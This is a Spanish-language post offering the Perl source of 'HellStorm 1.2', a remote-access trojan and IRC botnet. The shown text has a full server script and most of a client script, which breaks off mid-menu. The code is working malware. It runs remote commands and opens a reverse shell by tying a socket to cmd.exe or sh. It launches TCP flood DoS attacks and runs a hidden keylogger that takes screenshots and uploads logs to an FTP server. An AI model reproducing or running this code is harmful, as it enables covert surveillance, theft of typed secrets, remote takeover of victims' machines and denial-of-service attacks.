Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

[+] Navegador de archivos : borrar,renombrar
[+] Da informacion sobre la computadora
[+] Abrir y cerrar CD
[+] Ocultar y mostrar barra de inicio o iconos del escritorio
[+] Hacer hablar a la computadora para que diga lo que queramos
[+] Mandar mensajitos
[+] Consola de comandos
[+] Administracion de procesos
[+] ReverseShell
[+] Cambiar fondo de escritorio
[+] Mover mouse
[+] Cargar word para que escriba solo
[+] DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
[+] Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP

Una imagen :

Imagen


Los codigos :

server.pl
#!usr/bin/perl
#Project HellStorm 1.2
#(C) Doddy Hackman 2015
#Necessary modules
#
#ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
#
#Use "perl2exe -gui server.pl" to hide console
#

use Win32::OLE;
use Win32::OLE qw(in);
use Win32::Process;
use Win32;
use Win32::API;
use Win32::GuiTest
  qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use threads;
use Net::FTP;
use Win32::File;
use Cwd;
use IO::Socket;
use Win32::Job;
use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

# FTP Configuration

my $host_ftp = "localhost";    # Edit
my $user_ftp = "doddy";        # Edit
my $pass_ftp = "123";          # Edit

# IRC Configuration

my $host_irc  = "localhost";    # Edit
my $canal_irc = "#locos";       # Edit
my $port_irc  = "6667";         # Edit
my $nick_irc  = dameip();       # Edit

# Threads

# You must comment on the thread that you will not use

my $comando4 = threads->new( \&conexion_directa );

#my $comando5 = threads->new( \&keylogger );
#my $comando6 = threads->new(\&ircnow);

$comando4->join();

#$comando5->join();

#$comando6->join();

#

sub ircnow {

    my $soquete = new IO::Socket::INET(
        PeerAddr => $host_irc,
        PeerPort => $port_irc,
        Proto    => "tcp"
    );

    print $soquete "NICK $nick_irc\r\n";
    print $soquete "USER $nick_irc 1 1 1 1\r\n";
    print $soquete "JOIN $canal_irc\r\n";

    while ( my $logar = <$soquete> ) {
        print "\r\n";
        chomp($logar);

        if ( $logar =~ /^PING(.*)$/i ) {
            print $soquete "PONG $1\r\n";
        }

        if ( $logar =~ /:$nick_irc help/g ) {

            my @commands = (
                "msgbox <>",            "getinfo",
                "cmd <>",               "dir",
                "cd <>",                "del <>",
                "rename :<>:<>:",       "cwd",
                "verlogs",              "word :<>:",
                "crazymouse",           "cambiarfondo :<>:",
                "opencd",               "closedcd",
                "dosattack :<>:<>:<>:", "speak :<>:",
                "iniciochau",           "iniciovuelve",
                "iconochau",            "iconovuelve",
                "backshell :<>:<>:",    "procesos",
                "cerrarproceso  :<>:<>:"
            );

            print $soquete
              "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
            print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
            for (@commands) {
                print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
            my $msg = $1;
            chomp $msg;
            cheats( "mensaje", $msg );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc getinfo/g ) {
            my $re = getinfo();
            if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
                print $soquete "PRIVMSG $canal_irc : [+] Domain : $1\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] Chip : $2\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] Version : $3\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] Username : $4\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] OS : $5\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
            my $cmda = $1;
            chomp $cmda;
            my @re = cmd($cmda);
            for (@re) {
                print $soquete "PRIVMSG $canal_irc : $_\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc dir/ ) {
            my @files = navegador("listar");
            for (@files) {
                if ( -f $_ ) {
                    print $soquete "PRIVMSG $canal_irc : [File] : " . $_
                      . "\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
                      . "\r\n";
                }
            }
        }

        if ( $logar =~ /:$nick_irc cd (.*)/ ) {
            my $di = $1;
            chomp $di;
            if ( navegador( "cd", $di ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
            }
            else {
                print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc del (.*)/ ) {
            my $file = $1;
            chomp $file;
            if ( navegador( "borrar", $1 ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
            }
            else {
                print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc rename :(.*):(.*):/ ) {
            my ( $a, $b ) = ( $1, $2 );
            if ( navegador( "rename", $a, $b ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
            }
            else {
                print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc cwd/ ) {
            print $soquete "PRIVMSG $canal_irc : [+] Directory : "
              . getcwd() . "\r\n";
        }

        if ( $logar =~ /:$nick_irc verlogs/ ) {
            print $soquete "PRIVMSG $canal_irc : [+] Logs\r\n";
            my @word = openfilex("logs.txt");
            for (@word) {
                sleep 3;
                print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc word :(.*):/ig ) {
            my $msg = $1;
            cheats( "word", $msg );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc crazymouse/ig ) {
            cheats("crazymouse");
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc cambiarfondo :(.*):/ig ) {
            my $url = $1;
            chomp $url;
            cheats( "cambiarfondo", $url );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc opencd/ig ) {
            cheats( "cd", "1" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc closedcd/ig ) {
            cheats( "cd", "0" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /dosattack :(.*):(.*):(.*):/ ) {
            my ( $i, $p, $t ) = ( $1, $2, $3 );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            dosattack( $i, $p, $t );
        }

        if ( $logar =~ /:$nick_irc speak :(.*):/ig ) {
            my $t = $1;
            chomp $t;
            cheats( "speak", $t );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iniciochau/ ) {
            cheats( "inicio", "1" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
            cheats( "inicio", "0" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iconochau/ ) {
            cheats( "iconos", "1" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iconovuelve/ ) {
            cheats( "iconos", "0" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc backshell :(.*):(.*):/ig ) {
            backshell( $1, $2 );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc procesos/ ) {

            my %vida = adminprocess("listar");
            print $soquete "PRIVMSG $canal_irc : [+] Process Found : "
              . int( keys %vida ) . "\r\n";
            for my $data ( keys %vida ) {
                print $soquete "PRIVMSG $canal_irc : [+] Process : "
                  . $data
                  . " [+] PID : "
                  . $vida{$data} . "\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc cerrarproceso :(.*):(.*):/ ) {
            my ( $b, $a ) = ( $1, $2 );
            if ( adminprocess( "cerrar", $a, $b ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }
        }

    }
}

sub conexion_directa {

    my $sock = IO::Socket::INET->new(
        LocalPort => 666,
        Listen    => 10,
        Proto     => 'tcp',
        Reuse     => 1
    );

    while ( my $con = $sock->accept ) {
        $resultado = <$con>;

        if ( $resultado =~ /msgbox (.*)/ig ) {
            my $msg = $1;
            cheats( "mensaje", $msg );
        }

        if ( $resultado =~ /infor/ig ) {
            print $con getinfo();
        }

        if ( $resultado =~ /word :(.*):/ig ) {
            my $msg = $1;
            cheats( "word", $msg );
        }

        if ( $resultado =~ /crazymouse/ig ) {
            cheats("crazymouse");
        }

        if ( $resultado =~ /cambiarfondo (.*)/ig ) {
            my $url = $1;
            cheats( "cambiarfondo", $url );
        }

        if ( $resultado =~ /opencd/ig ) {
            cheats( "cd", "1" );
        }

        if ( $resultado =~ /closedcd/ig ) {
            cheats( "cd", "0" );
        }

        if ( $resultado =~ /dosattack :(.*):(.*):(.*):/ ) {
            my ( $i, $p, $t ) = ( $1, $2, $3 );
            dosattack( $i, $p, $t );
        }

        if ( $resultado =~ /speak :(.*):/ig ) {
            my $t = $1;
            cheats( "speak", $t );
        }

        if ( $resultado =~ /iniciochau/ ) {
            cheats( "inicio", "1" );
        }
        if ( $resultado =~ /iniciovuelve/ ) {
            cheats( "inicio", "0" );
        }

        if ( $resultado =~ /iconochau/ ) {
            cheats( "iconos", "1" );
        }
        if ( $resultado =~ /iconovuelve/ ) {
            cheats( "iconos", "0" );
        }

        if ( $resultado =~ /backshell :(.*):(.*):/ig ) {
            backshell( $1, $2 );
        }

        if ( $resultado =~ /comando :(.*):/ig ) {
            my $cmd = $1;
            my @re  = cmd($cmd);
            print $con @re;
        }

        if ( $resultado =~ /mostrarpro/ ) {

            my %vida = adminprocess("listar");

            for my $data ( keys %vida ) {
                print $con "PROXEC" . $data . "PROXEC\r\n";
                print $con "PIDX" . $vida{$data} . "PIDX\r\n";
            }

        }

        if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
            my ( $b, $a ) = ( $1, $2 );
            if ( adminprocess( "cerrar", $a, $b ) ) {
                print $con "ok";
            }
        }

        if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
            my $di = $1;
            if ( navegador( "cd", $di ) ) {
                print $con "ok";
            }
        }
        if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
            if ( navegador( "borrar", $1 ) ) {
                print $con "ok";
            }
        }
        if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
            if ( navegador( "borrar", $1 ) ) {
                print $con "ok";
            }
        }
        if ( $resultado =~ /rename :(.*):(.*):/ ) {
            my ( $a, $b ) = ( $1, $2 );
            if ( navegador( "rename", $a, $b ) ) {
                print $con "ok";
            }
        }

        if ( $resultado =~ /getcwd/ ) {
            print $con getcwd();
        }

        if ( $resultado =~ /verlogs/ ) {
            print $con openfile("logs.txt");
        }

        if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
            my @files = navegador("listar");
            for (@files) {
                if ( -f $_ ) {
                    print $con "FILEX" . $_ . "FILEX" . "\r\n";
                }
                else {
                    print $con "DIREX" . $_ . "DIREX" . "\r\n";
                }
            }
        }
    }
}

sub keylogger {

    my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
    my $tengo = 0;

    hideit( $0, "hide" );

    my $comando1 = threads->new( \&capture_windows );
    my $comando2 = threads->new( \&capture_keys );
    my $comando3 = threads->new( \&capture_screen );

    $comando1->join();
    $comando2->join();
    $comando3->join();

    sub capture_windows {

        while (1) {

            my $win1 = GetForegroundWindow();
            my $win2 = GetForegroundWindow();

            if ( $win1 != $win2 ) {
                my $nombre = GetWindowText($win1);
                chomp($nombre);
                if ( $nombre ne "" ) {
                    savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
                }
            }
        }
        return 1;
    }

    sub capture_keys {

        while (1) {

            my $test1;
            my $test2;

            for my $num ( 0x30 .. 0x39 ) {

                if ( dame($num) ) {
                    savefile( "logs.txt", chr($num) );
                }
            }

            if ( dame(0x14) ) {
                $test1 = 1;
                $tengo++;
            }

            for my $num ( 0x41 .. 0x5A ) {

                if ( dame($num) ) {

                    if ( dame(0x20) ) {
                        savefile( "logs.txt", " " );
                    }

                    if ( dame(0x32) ) {
                        savefile( "logs.txt", "\n[enter]\n\n" );
                    }

                    unless ( verpar($tengo) eq 1 ) {
                        savefile( "logs.txt", chr($num) );
                    }

                    if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
                        $test2 = 1;
                    }

                    unless ( $test1 eq 1 or $test2 eq 1 ) {
                        if ( $num >= 0x41 ) {
                            if ( $num <= 0x5A ) {
                                if ( verpar($tengo) eq 1 ) {
                                    savefile( "logs.txt", chr( $num + 32 ) );
                                }
                            }
                        }
                    }
                }
            }
        }
        return 1;
    }

    sub capture_screen {

        $numero = 0;

        while (1) {

            sleep 120;

            subirftp( "logs.txt", "logs.txt" );

            $numero++;

            SendKeys("%{PRTSCR}");

            my $a = Win32::Clipboard::GetBitmap();

            open( FOTO, ">" . $numero . ".bmp" );
            binmode(FOTO);
            print FOTO $a;
            close FOTO;

            hideit( $numero . ".bmp", "hide" );
            subirftp( $numero . ".bmp", $numero . ".bmp" );
        }
    }

    sub dame {
        return ( $come->Call(@_) & 1 );
    }

    sub savefile {

        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1];
        close SAVE;

        hideit( $_[0], "hide" );

    }

    sub hideit {
        if ( $_[1] eq "show" ) {
            Win32::File::SetAttributes( $_[0], NORMAL );
        }
        elsif ( $_[1] eq "hide" ) {
            Win32::File::SetAttributes( $_[0], HIDDEN );
        }
        else {
            print "error\n";
        }
    }

    sub subirftp {

        if ( $ser = Net::FTP->new($host_ftp) ) {
            if ( $ser->login( $user_ftp, $pass_ftp ) ) {
                $ser->mkdir( getmyip() );
                $ser->binary();
                if (
                    $ser->put(
                        getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
                    )
                  )
                {
                    return true;
                }
            }
            $ser->close;
        }
    }

    sub verpar {
        return ( $_[0] % 2 == 0 ) ? "1" : "2";
    }

    sub getmyip {
        my $get = gethostbyname("");
        return inet_ntoa($get);
    }

}

sub getinfo {
    return
        ":"
      . Win32::DomainName() . ":"
      . Win32::GetChipName() . ":"
      . Win32::GetOSVersion() . ":"
      . Win32::LoginName() . ":"
      . Win32::GetOSName() . ":";
}

sub cheats {

    my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
    my $b  = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );

    if ( $_[0] eq "cambiarfondo" ) {
        my $file = $_[1];
        my $as =
          new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
        $as->Call( 20, 0, $file, 0 );
    }

    if ( $_[0] eq "speak" ) {
        my $texta  = $_[1];
        my $hablax = Win32::OLE->new("SAPI.SpVoice");
        $hablax->Speak( $texta, 0 );
    }

    if ( $_[0] eq "crazymouse" ) {
        for my $number ( 1 .. 666 ) {
            MouseMoveAbsPix( $number, $number );
        }
    }

    if ( $_[0] eq "word" ) {
        my $text = $_[1];
        system("start winword.exe");
        sleep 4;
        SendKeys($text);
    }

    if ( $_[0] eq "cd" ) {

        my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
        my $rta = ' ' x 127;
        if ( $_[1] eq "1" ) {
            $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
        }
        else {
            $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
        }
    }

    if ( $_[0] eq "inicio" ) {

        if ( $_[1] eq "1" ) {
            $handlex = $as->Call( "Shell_TrayWnd", 0 );
            $b->Call( $handlex, 0 );
        }
        else {
            $handlex = $as->Call( "Shell_TrayWnd", 0 );
            $b->Call( $handlex, 1 );
        }

    }

    if ( $_[0] eq "iconos" ) {

        if ( $_[1] eq "1" ) {

            $handle = $as->Call( 0, "Program Manager" );
            $b->Call( $handle, 0 );
        }
        else {
            $handle = $as->Call( 0, "Program Manager" );
            $b->Call( $handle, 1 );
        }
    }

    if ( $_[0] eq "mensaje" ) {
        if ( $_[1] ne "" ) {
            my $msg = $_[1];
            chomp $msg;
            Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
        }
    }
}

sub backshell {

    my ( $ip, $port ) = ( $_[0], $_[1] );

    $ip =~ s/(\s)+$//;
    $port =~ s/(\s)+$//;

    conectar( $ip, $port );
    tipo();

    sub conectar {
        socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
        connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
        open( STDIN,  ">&REVERSE" );
        open( STDOUT, ">&REVERSE" );
        open( STDERR, ">&REVERSE" );
    }

    sub tipo {
        print "\n[*] Reverse Shell Starting...\n\n";
        if ( $^O =~ /Win32/ig ) {
            infowin();
            system("cmd.exe");
        }
        else {
            infolinux();
            system("export TERM=xterm;exec sh -i");
        }
    }

    sub infowin {
        print "[+] Domain Name : " . Win32::DomainName() . "\n";
        print "[+] OS Version : " . Win32::GetOSName() . "\n";
        print "[+] Username : " . Win32::LoginName() . "\n\n\n";
    }

    sub infolinux {
        print "[+] System information\n\n";
        system("uname -a");
        print "\n\n";
    }
}

sub cmd {

    my $job = Win32::Job->new;
    $job->spawn(
        "cmd",
        qq{cmd /C $_[0]},
        {
            no_window => "true",
            stdout    => "logx.txt",
            stderr    => "logx.txt"
        }
    );
    $ok = $job->run("30");
    open( F, "logx.txt" );
    @words = <F>;
    close F;
    unlink("logx.txt");
    return @words;
}

sub adminprocess {

    if ( $_[0] eq "listar" ) {
        my %procesos;

        my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
        my $dos = $uno->ConnectServer( "", "root\\cimv2" );

        foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
            $procesos{ $pro->{Caption} } = $pro->{ProcessId};
        }
        return %procesos;
    }

    if ( $_[0] eq "cerrar" ) {

        my ( $numb, $pid ) = ( $_[1], $_[2] );

        if ( Win32::Process::KillProcess( $pid, $numb ) ) {
            return true;
        }
        else {
            return false;
        }
    }
}

sub navegador {

    my $dir = $_[1];

    chomp $dir;

    $dir =~ s/(\s)+$//;

    if ( $_[0] eq "borrar" ) {
        if ( -f $_[1] ) {
            if ( unlink( getcwd() . "/" . $_[1] ) ) {
                return true;
            }
            else {
                return false;
            }
        }
        else {
            if ( rmdir( getcwd() . "/" . $_[1] ) ) {
                return true;
            }
            else {
                return false;
            }
        }
    }
    if ( $_[0] eq "cd" ) {
        if ( chdir $dir ) {
            return true;
        }
        else {
            return false;
        }
    }
    if ( $_[0] eq "rename" ) {
        if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
            return true;
        }
        else {
            return false;
        }
    }
    if ( $_[0] eq "listar" ) {
        my @archivos = coleccionar( getcwd() );
        my @all;
        for my $test (@archivos) {
            push( @all, $test );
        }
        return @all;
    }

    sub coleccionar {
        opendir DIR, $_[0];
        my @archivos = readdir DIR;
        close DIR;
        return @archivos;
    }
}

sub dosattack {
    for ( 1 .. $_[2] ) {
        IO::Socket::INET->new(
            PeerAddr => $_[0],
            PeerPort => $_[1],
            Proto    => "tcp"
        );
    }
}

sub openfile {
    my $r;
    open( FILE, $_[0] );
    @wor = <FILE>;
    close FILE;
    for (@wor) {
        $r .= $_;
    }
    return $r;
}

sub openfilex {
    my @wor;
    open( FILE, $_[0] );
    @wor = <FILE>;
    close FILE;
    return @wor;
}

sub encriptar {

    my ( $text, $op ) = @_;

    my @re;
    my @va = split( "", $text );

    my %valor = (
        "1" => "a",
        "2" => "b",
        "3" => "c",
        "4" => "d",
        "5" => "e",
        "6" => "f",
        "7" => "g",
        "8" => "h",
        "9" => "i",
        "0" => "j",
        "." => "k"
    );

    if ( $op eq "encode" ) {
        for my $letra (@va) {
            for my $data ( keys %valor ) {
                if ( $data eq $letra ) {
                    $letra =~ s/$data/$valor{$data}/g;
                    push( @re, $letra );
                }
            }
        }
    }
    if ( $op eq "decode" ) {
        for my $letra (@va) {
            for my $data ( keys %valor ) {
                if ( $valor{$data} eq $letra ) {
                    $letra =~ s/$valor{$data}/$data/g;
                    push( @re, $letra );
                }
            }
        }
    }
    return @re;
}

sub dameip {

    my @wor = encriptar( getmyip(), "encode" );

    for (@wor) {
        $resultado .= $_;
    }
    return $resultado;
}

# The End ?
client.pl
#!usr/bin/perl
#Project HellStorm 1.2
#(C) Doddy Hackman 2015

use IO::Socket;
use Cwd;

&menu;

# Functions

sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

sub head {

    clean();

    print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";

}

sub menu {

    &head;

    print "[+] Target : ";
    chomp( my $ip = <STDIN> );

    my $socket = new IO::Socket::INET(
        PeerAddr => $ip,
        PeerPort => 666,
        Proto    => 'tcp',
        Timeout  => 5
    );

    if ($socket) {
        $socket->close;
        &menuo($ip);
    }
    else {
        print "\n\n[-] Server not infected\n";
        <STDIN>;
        &menu;
    }

}

sub menuo {

    &head;

    print "[$_[0]] : Online\n\n";
    print q(
1 : Information
2 : Files Manager
3 : Open CD
4 : Close CD
5 : Talk
6 : Message
7 : Console
8 : Hide taskbar
9 : Show taskbar
10 : Hide Icons
11 : Show Icons
12 : Process Manager
13 : Reverse Shell
14 : DOS Attack
15 : Change Wallpaper
16 : Word Writer
17 : Move Mouse
18 : See logs keylogger
19 : Change target
20 : Exit


);
    print "[Option] : ";
    chomp( my $opcion = <STDIN> );

    if ( $opcion eq 1 ) {
        print "\n\n[+] Information\n\n";
        $re = daryrecibir( $_[0], "infor" );
        if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
            print "[+] Domain : $1\n";
            print "[+] Chip : $2\n";
            print "[+] Version : $3\n";
            print "[+] Username : $4\n";
            print "[+] OS : $5\n";
            print "\n[+] Press any key to continue\n";
            <stdin>;
        }
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 2 ) {

      menu1:
        print "\n\n[+] Files Manager\n\n";
        $cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
        show( $_[0], "/" );
        &menu2;

        sub menu2 {
            print "\n\n[Options]\n\n";
            print "1 - Change directory\n";
            print "2 - Rename\n";
            print "3 - Delete File\n";
            print "4 - Delete Directory\n";
            print "5 - Return to menu\n\n";
            print "[Opcion] : ";
            chomp( my $op = <stdin> );

            if ( $op eq 1 ) {
                print "\n\n[+] Directory : ";
                chomp( my $dir = <stdin> );
                $ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
                if ( $ver =~ /ok/ig ) {
                    print "\n\n[+] Directory changed\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                    <stdin>;
                }
                show( $_[0], $dir );
                &menu2;
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 2 ) {
                print "\n\n[+] Name : ";
                chomp( my $old = <stdin> );
                print "\n\n[+] New name : ";
                chomp( my $new = <stdin> );
                $re = daryrecibir( $_[0], "rename :$old:$new:" );
                if ( $re =~ /ok/ ) {
                    print "\n\n[+] File renamed\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 3 ) {
                print "\n\n[+] File to delete : ";
                chomp( my $file = <stdin> );
                $re =
                  daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
                if ( $re =~ /ok/ ) {
                    print "\n\n[+] File deleted\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 4 ) {
                print "\n\n[+] Directory to delete : ";
                chomp( my $file = <stdin> );
                $re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
                if ( $re =~ /ok/ ) {
                    print "\n\n[+] Directory deleted\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 5 ) {
                &menuo( $_[0] );

            }
            else {
                show( $_[0], "/" );
            }
            goto menu1;
        }
    }

    elsif ( $opcion eq 3 ) {
        daryrecibir( $_[0], "opencd" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 4 ) {
        daryrecibir( $_[0], "closedcd" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 5 ) {
        print "\n\n[+] Talk : ";
        chomp( my $talk = <stdin> );
        $re = daryrecibir( $_[0], "speak :$talk:" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 6 ) {
        print "\n[+] Message : ";
        chomp( my $msg = <stdin> );
        daryrecibir( $_[0], "msgbox $msg" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 7 ) {

      menu:

        my $cmd, $re;

        print "\n\n>";

        chomp( my $cmd = <stdin> );

        if ( $cmd =~ /exit/ig ) {
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        $re = daryrecibir( $_[0], "comando :$cmd:" );
        print "\n" . $re;
        goto menu;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 8 ) {
        daryrecibir( $_[0], "iniciochau" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 9 ) {
        daryrecibir( $_[0], "iniciovuelve" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 10 ) {
        daryrecibir( $_[0], "iconochau" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 11 ) {
        daryrecibir( $_[0], "iconovuelve" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }

    elsif ( $opcion eq 12 ) {

        &reload( $_[0] );

        sub reload {

            my @pro;
            my @pids;

            my $sockex = new IO::Socket::INET(
                PeerAddr => $_[0],
                PeerPort => 666,
                Proto    => 'tcp',
                Timeout  => 5
            );

            print $sockex "mostrarpro" . "\r\n";
            $sockex->read( $re, 5000 );
            $sockex->close;

            chomp $re;

            print "\n\n[+] Process Found\n\n";

            while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
                if ( $1 ne "" ) {
                    push( @pro, $1 );
                }
            }

            while ( $re =~ /PIDX(.*?)PIDX/ig ) {
                if ( $1 ne "" ) {
                    push( @pids, $1 );
                }
            }

            $cantidad = int(@pro);

            for my $num ( 1 .. $cantidad ) {
                if ( $pro[$num] ne "" ) {
                    print "\n[+] Process : " . $pro[$num] . "\n";
                    print "[+] PID : " . $pids[$num] . "\n";
                }
            }

            print q(

[Options]


1 - Refresh list
2 - Close process
3 - Return to menu
 
);

            print "\n[Option] :  ";
            chomp( my $opc = <stdin> );

            if ( $opc =~ /1/ig ) {
                &reload( $_[0] );
            }
            elsif ( $opc =~ /2/ig ) {
                print "\n[+] Write the name of the process : ";
                chomp( my $numb = <stdin> );
                print "\n[+] Write the PID of the process : ";
                chomp( my $pid = <stdin> );
                $re = daryrecibir( $_[0],
                    "chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
                if ( $re =~ /ok/ig ) {
                    print "\n\n[+] Proceso killed\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
                &reload( $_[0] );
            }
            elsif ( $opc =~ /3/ig ) {
                print "\n[+] Press any key to continue\n";
                <stdin>;
                &menuo( $_[0] );
            }
            else {
                &reload;
            }
        }
    }

    elsif ( $opcion eq 13 ) {
        print "\n\n[+] IP : ";
        chomp( my $ip = <stdin> );
        print "\n\n[+] Port : ";
        chomp( my $port = <stdin> );
        print "\n\n[+] Connected !!!\n\n";
        $re = daryrecibir( $_[0], "backshell :$ip:$port:" );
    }
    elsif ( $opcion eq 14 ) {
        print "\n\n[+] IP : ";
        chomp( my $ipx = <stdin> );
        print "\n\n[+] Port : ";
        chomp( my $por = <stdin> );
        print "\n\n[+] Count : ";
        chomp( my $count = <stdin> );
        print "\n\n[+] Command Send !!!!\n\n";
        daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 15 ) {
        print "\n\n[+] Image with format BMP : ";
        chomp( my $id = <stdin> );
        daryrecibir( $_[0], "cambiarfondo $id" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 16 ) {
        print "\n\n[+] Text : ";
        chomp( my $tx = <stdin> );
        daryrecibir( $_[0], "word :$tx:" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 17 ) {
        daryrecibir( $_[0], "crazymouse" );
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 18 ) {
